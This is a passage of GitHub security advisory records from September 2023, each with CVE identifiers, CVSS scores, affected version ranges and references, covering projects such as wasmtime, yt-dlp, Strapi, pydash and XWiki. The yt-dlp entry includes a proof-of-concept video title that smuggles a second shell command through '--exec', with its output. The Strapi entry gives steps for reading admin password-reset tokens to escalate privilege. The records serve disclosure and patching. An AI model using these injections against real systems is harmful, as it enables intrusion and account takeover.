{'cwe_ids': ['CWE-22', 'CWE-23'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:07:15Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-gw5p-q8mj-p7gh
|
2023-09-14T19:33:17Z
|
2023-09-14T19:33:17Z
| null |
['CVE-2023-41880']
|
Miscompilation of wasm `i64x2.shr_s` instruction with constant input on x86_64
|
### Impact
Wasmtime versions from 10.0.0 to 12.0.1 contain a miscompilation of the WebAssembly `i64x2.shr_s` instruction on x86_64 platforms when the shift amount is a constant value that is larger than 32. Only x86_64 is affected so all other targets are not affected by this. The miscompilation results in the instruction producing an incorrect result, namely the low 32-bits of the second lane of the vector are derived from the low 32-bits of the second lane of the input vector instead of the high 32-bits. The primary impact of this issue is that any WebAssembly program using the `i64x2.shr_s` with a constant shift amount larger than 32 may produce an incorrect result.
This issue is not an escape from the WebAssembly sandbox. Execution of WebAssembly guest programs will still behave correctly with respect to memory sandboxing and isolation from the host. Wasmtime considers non-spec-compliant behavior as a security issue nonetheless.
This issue was discovered through fuzzing of Wasmtime's code generator Cranelift.
### Patches
Wasmtime versions 10.0.2, 11.0.2, and 12.0.2 are all patched to no longer have this miscompilation.
### Workarounds
This issue only affects x86_64 hosts and the only workaround is to either scan for this pattern in wasm modules which is nontrivial or to [disable the SIMD proposal for WebAssembly](https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.wasm_simd). Users prior to 10.0.0 are unaffected by this vulnerability.
### References
* [PR which introduced this bug to Wasmtime](https://github.com/bytecodealliance/wasmtime/pull/6372)
* [Mailing list announcement](https://groups.google.com/a/bytecodealliance.org/g/sec-announce/c/B8PJgg6bEdg)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N'}]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'wasmtime'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '10.0.0'}, {'fixed': '10.0.2'}]}]}, {'package': {'ecosystem': 'crates.io', 'name': 'wasmtime'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '11.0.0'}, {'fixed': '11.0.2'}]}]}, {'package': {'ecosystem': 'crates.io', 'name': 'wasmtime'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '12.0.0'}, {'fixed': '12.0.2'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-gw5p-q8mj-p7gh'}, {'type': 'WEB', 'url': 'https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-gw5p-q8mj-p7gh#:~:text=Mailing%20list%20announcement'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-41880'}, {'type': 'WEB', 'url': 'https://github.com/bytecodealliance/wasmtime/pull/6372'}, {'type': 'WEB', 'url': 'https://github.com/bytecodealliance/wasmtime/commit/8d7eda15b0badcbea83a7aac2d08f80788b59240'}, {'type': 'WEB', 'url': 'https://docs.rs/wasmtime/latest/wasmtime/struct.Config.html#method.wasm_simd'}, {'type': 'PACKAGE', 'url': 'https://github.com/bytecodealliance/wasmtime'}]
|
{'cwe_ids': ['CWE-193'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2023-09-14T19:33:17Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-95xr-cq6h-vwr3
|
2023-09-22T18:48:30Z
|
2023-09-19T06:30:17Z
| null |
['CVE-2023-42399']
|
Jodit Editor vulnerable to cross-site scripting
|
Cross Site Scripting vulnerability in xdsoft.net Jodit Editor v.4.0.0-beta.86 allows a remote attacker to obtain sensitive information via the rich text editor component.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'jodit'}, 'ecosystem_specific': {'affected_functions': ['']}, 'versions': ['4.0.0-beta.86']}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-42399'}, {'type': 'WEB', 'url': 'https://github.com/xdan/jodit/issues/1017'}, {'type': 'PACKAGE', 'url': 'https://github.com/xdan/jodit'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:08:24Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-42h4-v29r-42qg
|
2023-09-26T13:57:26Z
|
2023-09-25T17:33:40Z
| null |
['CVE-2023-40581']
|
yt-dlp on Windows vulnerable to `--exec` command injection when using `%q`
|
### Impact
[`yt-dlp`](https://github.com/yt-dlp/yt-dlp) allows the user to provide shell commands to be executed at various stages in its download process through the `--exec` flag. This flag allows output template expansion in its argument, so that video metadata values may be used in the shell commands. The metadata fields can be combined with the `%q` conversion, which is intended to quote/escape these values so they can be safely passed to the shell.
However, the escaping used for `cmd` (the shell used by Python's `subprocess` on Windows) did not properly escape special characters, which can allow for remote code execution if `--exec` is used directly with maliciously crafted remote data. This vulnerability only impacts `yt-dlp` on Windows, and the vulnerability is present regardless of whether `yt-dlp` is run from `cmd` or from `PowerShell`.
Support for output template expansion in `--exec`, along with this vulnerable behavior, was added to `yt-dlp` in version [2021.04.11](https://github.com/yt-dlp/yt-dlp/releases/tag/2021.04.11).
```shell
> yt-dlp https://youtu.be/Jo66yyCpHcQ --exec "echo %(title)q"
[youtube] Extracting URL: https://youtu.be/Jo66yyCpHcQ
[youtube] Jo66yyCpHcQ: Downloading webpage
[youtube] Jo66yyCpHcQ: Downloading ios player API JSON
[youtube] Jo66yyCpHcQ: Downloading android player API JSON
[youtube] Jo66yyCpHcQ: Downloading m3u8 information
[info] Jo66yyCpHcQ: Downloading 1 format(s): 135+251
[download] Destination: ＂&echo(&echo(pwned&rem( [Jo66yyCpHcQ].f135.mp4
[download] 100% of 4.85KiB in 00:00:00 at 60.20KiB/s
[download] Destination: ＂&echo(&echo(pwned&rem( [Jo66yyCpHcQ].f251.webm
[download] 100% of 4.80KiB in 00:00:00 at 31.58KiB/s
[Merger] Merging formats into "＂&echo(&echo(pwned&rem( [Jo66yyCpHcQ].mkv"
Deleting original file ＂&echo(&echo(pwned&rem( [Jo66yyCpHcQ].f135.mp4 (pass -k to keep)
Deleting original file ＂&echo(&echo(pwned&rem( [Jo66yyCpHcQ].f251.webm (pass -k to keep)
[Exec] Executing command: echo "\"&echo(&echo(pwned&rem("
"\"
pwned
```
### Patches
yt-dlp version 2023.09.24 fixes this issue by properly escaping each special character.
`\n` will be replaced by `\r`, as no way of escaping it has been found.
### Workarounds
It is recommended to upgrade yt-dlp to version 2023.09.24 as soon as possible. Also, always be careful when using `--exec`, because while this specific vulnerability has been patched, using unvalidated input in shell commands is inherently dangerous.
For Windows users who are not able to upgrade:
- Avoid using any output template expansion in `--exec` other than `{}` (filepath).
- If expansion in `--exec` is needed, verify the fields you are using do not contain `"`, `|` or `&`.
- Instead of using `--exec`, write the info json and load the fields from it instead.
### References
- https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-42h4-v29r-42qg
- https://nvd.nist.gov/vuln/detail/CVE-2023-40581
- https://github.com/yt-dlp/yt-dlp/releases/tag/2023.09.24
- https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2023.09.24.003044
- https://github.com/yt-dlp/yt-dlp/commit/de015e930747165dbb8fcd360f8775fd973b7d6e
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'yt-dlp'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2021.04.11'}, {'fixed': '2023.09.24'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-42h4-v29r-42qg'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-40581'}, {'type': 'WEB', 'url': 'https://github.com/yt-dlp/yt-dlp/commit/de015e930747165dbb8fcd360f8775fd973b7d6e'}, {'type': 'PACKAGE', 'url': 'https://github.com/yt-dlp/yt-dlp'}, {'type': 'WEB', 'url': 'https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2023.09.24.003044'}, {'type': 'WEB', 'url': 'https://github.com/yt-dlp/yt-dlp/releases/tag/2021.04.11'}, {'type': 'WEB', 'url': 'https://github.com/yt-dlp/yt-dlp/releases/tag/2023.09.24'}]
|
{'cwe_ids': ['CWE-78'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-25T17:33:40Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-92hx-3mh6-hc49
|
2023-09-25T18:32:19Z
|
2023-09-24T03:30:20Z
| null |
['CVE-2023-1260']
|
kube-apiserver authentication bypass vulnerability
|
An authentication bypass vulnerability was discovered in kube-apiserver. This issue could allow a remote, authenticated attacker who has been given permissions "update, patch" the "pods/ephemeralcontainers" subresource beyond what the default is. They would then need to create a new pod or patch one that they already have access to. This might allow evasion of SCC admission restrictions, thereby gaining control of a privileged pod.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/openshift/apiserver-library-go'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.0.0-20230621'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-1260'}, {'type': 'WEB', 'url': 'https://github.com/openshift/apiserver-library-go/commit/a994128188486d2dce99a528fbcc017d276081e0'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2023:3976'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2023:4093'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2023:4312'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2023:4898'}, {'type': 'WEB', 'url': 'https://access.redhat.com/security/cve/CVE-2023-1260'}, {'type': 'WEB', 'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=2176267'}, {'type': 'PACKAGE', 'url': 'https://github.com/openshift/apiserver-library-go'}]
|
{'cwe_ids': [], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-25T18:32:19Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-h6rp-mprm-xgcq
|
2023-09-21T17:06:37Z
|
2023-09-21T17:06:37Z
| null |
['CVE-2023-42457']
|
plone.rest vulnerable to Denial of Service when ++api++ is used many times
|
### Impact
When the `++api++` traverser is accidentally used multiple times in a url, handling it takes increasingly longer, making the server less responsive.
### Patches
Patches will be released in `plone.rest` 2.0.1 and 3.0.1. Series 1.x is not affected.
### Workarounds
In your frontend web server (nginx, Apache) you can redirect `/++api++/++api++` to `/++api++`.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'plone.rest'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.0.0a1'}, {'fixed': '2.0.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'plone.rest'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.0.0'}, {'fixed': '3.0.1'}]}], 'versions': ['3.0.0']}]
|
[{'type': 'WEB', 'url': 'https://github.com/plone/plone.rest/security/advisories/GHSA-h6rp-mprm-xgcq'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-42457'}, {'type': 'WEB', 'url': 'https://github.com/plone/plone.rest/commit/43b4a7e86206e237e1de5ca3817ed071575882f7'}, {'type': 'WEB', 'url': 'https://github.com/plone/plone.rest/commit/77846a9842889b24f35e8bedc2e9d461388d3302'}, {'type': 'PACKAGE', 'url': 'https://github.com/plone/plone.rest'}, {'type': 'WEB', 'url': 'https://github.com/pypa/advisory-database/tree/main/vulns/plone-rest/PYSEC-2023-178.yaml'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2023/09/22/2'}]
|
{'cwe_ids': ['CWE-400', 'CWE-770'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:06:37Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-c4rv-2j6x-pq7x
|
2023-09-29T22:06:22Z
|
2023-09-29T15:30:27Z
| null |
['CVE-2023-5289']
|
Rdiffweb Allocation of Resources Without Limits or Throttling vulnerability
|
Allocation of Resources Without Limits or Throttling in GitHub repository ikus060/rdiffweb prior to 2.8.4.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'rdiffweb'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.8.4'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-5289'}, {'type': 'WEB', 'url': 'https://github.com/ikus060/rdiffweb/commit/06f89b43469aae70e8833e55192721523f86c5a2'}, {'type': 'PACKAGE', 'url': 'https://github.com/ikus060/rdiffweb'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/8d0e0804-d3fd-49fe-bfa4-7a91135767ce'}]
|
{'cwe_ids': ['CWE-770'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-29T22:06:22Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-cpvx-2365-466c
|
2023-09-08T12:18:38Z
|
2023-09-06T15:30:26Z
| null |
['CVE-2023-39264']
|
Apache Superset may expose internal traces on REST API endpoints
|
By default, stack traces for errors were enabled, which resulted in the exposure of internal traces on REST API endpoints to users. This vulnerability exists in Apache Superset versions up to and including 2.1.0.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'apache-superset'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '2.1.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-39264'}, {'type': 'PACKAGE', 'url': 'https://github.com/apache/superset'}, {'type': 'WEB', 'url': 'https://lists.apache.org/thread/y65t1of7hb445n86o1vdzjct7rfwlx75'}]
|
{'cwe_ids': ['CWE-209'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-08T12:18:38Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-v8gg-4mq2-88q4
|
2023-09-13T16:31:31Z
|
2023-09-13T16:31:31Z
| null |
['CVE-2023-36472']
|
Strapi may leak sensitive user information, user reset password, tokens via content-manager views
|
### Summary
I can get access to user reset password tokens if I have the configure view permissions
### Details
/content-manager/relations route does not remove private fields or ensure that they can't be selected
### PoC
Install fresh strapi instance
start up strapi and create an account
create a new content-type
give the content-type a relation with admin users and save
go to Admin panel roles Author and then plugins.
Enable for content-manager collection types the configure view
In the collection time now only give them access to the collection you created for this.
Create a new admin user account with the Author role
Log out and request a password reset for the main admin user.
Login on the newly created account
go to the collection type you created for this test and click the create new entry button,
click in the create new entry view on configure view.
select the admin user relation we created click on resetPasswordToken
Now go back to the create an entry view and when selection the relation we created we now see the reset tokken
### Impact
Impact is that the none admin user now has the reset token of the admin users account and can resets its password using that to escalate his privilege's
Still you need the configure view permission to be able to escalate your privilege's
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N'}]
|
[{'package': {'ecosystem': 'npm', 'name': '@strapi/plugin-content-manager'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.11.7'}]}]}, {'package': {'ecosystem': 'npm', 'name': '@strapi/admin'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.11.7'}]}]}, {'package': {'ecosystem': 'npm', 'name': '@strapi/utils'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.11.7'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/strapi/strapi/security/advisories/GHSA-v8gg-4mq2-88q4'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-36472'}, {'type': 'PACKAGE', 'url': 'https://github.com/strapi/strapi'}, {'type': 'WEB', 'url': 'https://github.com/strapi/strapi/releases/tag/v4.11.7'}]
|
{'cwe_ids': ['CWE-200'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-13T16:31:31Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-3cjh-p6pw-jhv9
|
2023-09-19T17:00:08Z
|
2023-09-19T17:00:08Z
| null |
['CVE-2023-42446']
|
Pow Mnesia cache doesn't invalidate all expired keys on startup
|
Use of `Pow.Store.Backend.MnesiaCache` is susceptible to session hijacking as expired keys are not being invalidated correctly on startup. A cache key may become expired when all `Pow.Store.Backend.MnesiaCache` instances have been shut down for a period that is longer than the keys' remaining TTL and the expired key won't be invalidated on startups.
### Workarounds
The expired keys, including all expired sessions, can be manually invalidated by running:
```elixir
:mnesia.sync_transaction(fn ->
Enum.each(:mnesia.dirty_select(Pow.Store.Backend.MnesiaCache, [{{Pow.Store.Backend.MnesiaCache, :_, :_}, [], [:"$_"]}]), fn {_, key, {_value, expire}} ->
ttl = expire - :os.system_time(:millisecond)
if ttl < 0, do: :mnesia.delete({Pow.Store.Backend.MnesiaCache, key})
end)
end)
```
### References
https://github.com/pow-auth/pow/commit/15dc525be03c466daa5d2119ca7acdec7b24ed17
https://github.com/pow-auth/pow/issues/713
https://github.com/pow-auth/pow/pull/714
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N'}]
|
[{'package': {'ecosystem': 'Hex', 'name': 'pow'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.0.14'}, {'fixed': '1.0.34'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/pow-auth/pow/security/advisories/GHSA-3cjh-p6pw-jhv9'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-42446'}, {'type': 'WEB', 'url': 'https://github.com/pow-auth/pow/issues/713'}, {'type': 'WEB', 'url': 'https://github.com/pow-auth/pow/pull/714'}, {'type': 'WEB', 'url': 'https://github.com/pow-auth/pow/commit/15dc525be03c466daa5d2119ca7acdec7b24ed17'}, {'type': 'PACKAGE', 'url': 'https://github.com/pow-auth/pow'}]
|
{'cwe_ids': ['CWE-298', 'CWE-672'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-19T17:00:08Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-7mp6-929p-pqhj
|
2023-09-22T19:50:17Z
|
2023-09-20T06:30:50Z
| null |
['CVE-2023-43618']
|
Croc requires senders to provide local IP addresses in cleartext
|
An issue was discovered in Croc through 9.6.5. The protocol requires a sender to provide its local IP addresses in cleartext via an `ips?` message.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/schollz/croc/v9'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '9.6.5'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-43618'}, {'type': 'WEB', 'url': 'https://github.com/schollz/croc/issues/597'}, {'type': 'PACKAGE', 'url': 'https://github.com/schollz/croc'}, {'type': 'WEB', 'url': 'https://www.openwall.com/lists/oss-security/2023/09/08/2'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2023/09/21/5'}]
|
{'cwe_ids': ['CWE-311'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:00:05Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-8rv7-g772-pp3j
|
2023-09-06T21:14:53Z
|
2023-09-01T18:30:41Z
| null |
['CVE-2023-40771']
|
DataEase vulnerable to SQL injection
|
SQL injection vulnerability in DataEase v.1.18.9 allows a remote attacker to obtain sensitive information via a crafted string outside of the blacklist function.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'io.dataease:dataease-plugin-common'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.18.9'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-40771'}, {'type': 'WEB', 'url': 'https://github.com/dataease/dataease/issues/5861'}, {'type': 'PACKAGE', 'url': 'https://github.com/dataease/dataease'}]
|
{'cwe_ids': ['CWE-89'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-01T21:57:09Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-8mjr-6c96-39w8
|
2023-09-28T16:42:16Z
|
2023-09-28T06:30:20Z
| null |
['CVE-2023-26145']
|
pydash Command Injection vulnerability
|
This affects versions of the package pydash before 6.0.0. A number of pydash methods such as pydash.objects.invoke() and pydash.collections.invoke_map() accept dotted paths (Deep Path Strings) to target a nested Python object, relative to the original source object. These paths can be used to target internal class attributes and dict items, to retrieve, modify or invoke nested Python objects.
**Note:**
The pydash.objects.invoke() method is vulnerable to Command Injection when the following prerequisites are satisfied:
1) The source object (argument 1) is not a built-in object such as list/dict (otherwise, the __init__.__globals__ path is not accessible)
2) The attacker has control over argument 2 (the path string) and argument 3 (the argument to pass to the invoked method)
The pydash.collections.invoke_map() method is also vulnerable, but is harder to exploit as the attacker does not have direct control over the argument to be passed to the invoked function.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'pydash'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '6.0.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-26145'}, {'type': 'WEB', 'url': 'https://github.com/dgilland/pydash/commit/6ff0831ad285fff937cafd2a853f20cc9ae92021'}, {'type': 'WEB', 'url': 'https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca'}, {'type': 'PACKAGE', 'url': 'https://github.com/dgilland/pydash'}, {'type': 'WEB', 'url': 'https://github.com/pypa/advisory-database/tree/main/vulns/pydash/PYSEC-2023-179.yaml'}, {'type': 'WEB', 'url': 'https://security.snyk.io/vuln/SNYK-PYTHON-PYDASH-5916518'}]
|
{'cwe_ids': [], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-28T16:42:16Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-jcwr-x25h-x5fh
|
2023-09-26T19:38:53Z
|
2023-09-25T21:30:26Z
| null |
['CVE-2022-4245']
|
codehaus-plexus vulnerable to XML injection
|
A flaw was found in codehaus-plexus. The `org.codehaus.plexus.util.xml.XmlWriterUtil#writeComment` fails to sanitize comments for a `-->` sequence. This issue means that text contained in the command string could be interpreted as XML and allow for XML injection.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.codehaus.plexus:plexus-utils'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.0.24'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2022-4245'}, {'type': 'WEB', 'url': 'https://github.com/codehaus-plexus/plexus-utils/issues/3'}, {'type': 'WEB', 'url': 'https://github.com/codehaus-plexus/plexus-utils/commit/f933e5e78dc2637e485447ed821fe14904f110de'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2023:3906'}, {'type': 'WEB', 'url': 'https://access.redhat.com/security/cve/CVE-2022-4245'}, {'type': 'WEB', 'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=2149843'}, {'type': 'PACKAGE', 'url': 'https://github.com/codehaus-plexus/plexus-utils'}, {'type': 'WEB', 'url': 'https://security.snyk.io/vuln/SNYK-JAVA-ORGCODEHAUSPLEXUS-461102'}]
|
{'cwe_ids': ['CWE-91'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-26T19:38:53Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-fm4q-j8g4-c9j4
|
2023-09-12T16:14:20Z
|
2023-09-06T15:30:27Z
| null |
['CVE-2023-39265']
|
Apache Superset Improper Input Validation vulnerability
|
Apache Superset would allow for SQLite database connections to be incorrectly registered when an attacker uses alternative driver names like sqlite+pysqlite or by using database imports. This could allow for unexpected file creation on Superset webservers. Additionally, if Apache Superset is using a SQLite database for its metadata (not advised for production use) it could result in more severe vulnerabilities related to confidentiality and integrity. This vulnerability exists in Apache Superset versions up to and including 2.1.0.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'apache-superset'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '2.1.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-39265'}, {'type': 'PACKAGE', 'url': 'https://github.com/apache/superset'}, {'type': 'WEB', 'url': 'https://lists.apache.org/thread/pwdzsdmv4g5g1n2h9m7ortfnxmhr7nfy'}]
|
{'cwe_ids': ['CWE-20'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-08T12:19:17Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-m5m2-h6h9-p2c8
|
2023-09-04T16:36:40Z
|
2023-09-04T16:36:40Z
| null |
['CVE-2023-41046']
|
Velocity execution without script right through VelocityCode and VelocityWiki property
|
### Impact
It is possible in XWiki to execute Velocity code without having script right by creating an XClass with a property of type "TextArea" and content type "VelocityCode" or "VelocityWiki". For the former, the syntax of the document needs to be set the `xwiki/1.0` (this syntax doesn't need to be installed). In both cases, when adding the property to an object, the Velocity code is executed regardless of the rights of the author of the property (edit right is still required, though). In both cases, the code is executed with the correct context author so no privileged APIs can be accessed. However, Velocity still grants access to otherwise inaccessible data and APIs that could allow further privilege escalation.
At least for "VelocityCode", this behavior is most likely very old but only since XWiki 7.2, script right is a separate right, before that version all users were allowed to execute Velocity and thus this was expected and not a security issue.
### Patches
This has been patched in XWiki 14.10.10 and 15.4 RC1.
### Workarounds
There are no known workarounds.
### References
* https://jira.xwiki.org/browse/XWIKI-20847
* https://jira.xwiki.org/browse/XWIKI-20848
* https://github.com/xwiki/xwiki-platform/commit/edc52579eeaab1b4514785c134044671a1ecd839
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.xwiki.platform:xwiki-platform-oldcore'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '7.2'}, {'fixed': '14.10.10'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.xwiki.platform:xwiki-platform-oldcore'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '15.0-rc-1'}, {'fixed': '15.4-rc-1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-m5m2-h6h9-p2c8'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-41046'}, {'type': 'WEB', 'url': 'https://github.com/xwiki/xwiki-platform/commit/edc52579eeaab1b4514785c134044671a1ecd839'}, {'type': 'PACKAGE', 'url': 'https://github.com/xwiki/xwiki-platform'}, {'type': 'WEB', 'url': 'https://jira.xwiki.org/browse/XWIKI-20847'}, {'type': 'WEB', 'url': 'https://jira.xwiki.org/browse/XWIKI-20848'}]
|
